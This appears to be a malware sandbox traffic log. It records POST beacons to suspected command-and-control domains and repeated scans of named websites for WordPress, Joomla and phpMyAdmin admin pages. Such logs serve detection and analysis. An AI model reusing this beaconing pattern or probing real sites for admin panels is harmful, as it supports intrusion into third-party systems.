Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://npvqbvdmljmvog.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://edaiojvseyrk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cpwhvdwmqntdgiu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xvvxoswmyvl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 209Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wxcagobruguaj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 322Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gomudukkstasi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 162Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wrpxtbvctsvpvpmv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rgsaarfikhqtwr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 331Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://njgimhhfktiuk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 337Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hyeqdyequlfil.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 174Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://upnvrumtbxlk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 281Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vuwuyuhtqeh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 125Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qdwghkwthso.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 151Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cahcnsddjgthr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 192Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fijvqkbihenlyifa.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xgjkagxlbbogltm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fsylkxrvnhcmvom.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 292Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oplsdefkqsn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 327Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ixgapilxhfhte.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aiydxevdygfpdidk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lascnygrmprq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hqunygwatnnaobw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mdjshxexxetdxb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://outlegyndickqy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xyqmlduanbxo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vsaadrlmorhoxuxj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://okkddsfgrdalc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mxgricqgblinom.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tflebimkqrdrpqrd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://srmqkmgjxpo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tbtlxqufxaqllw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sbliaxarqfugngy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://orpduphkmmlp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xfpdlckdnjqi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 346Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wmqotteifbrm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://esjkwbirunxsj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://behgihvojpxh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wdawofrrvwlcd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipCookie: vsid=935vr449082275071652461User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://furnscales.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipCookie: vsid=931vr44908227507616068User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://furnscales.com/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qnhacnuanoh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://giannicastellani.it/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://giannicastellani.it/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipCookie: vsid=933vr449082278481667873User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://airanatoliava.org/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipCookie: vsid=929vr449082278674014005User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://furnscales.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipCookie: vsid=928vr449082280872762214User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://airanatoliava.org/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://giannicastellani.it/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://giannicastellani.it/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://gztit.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
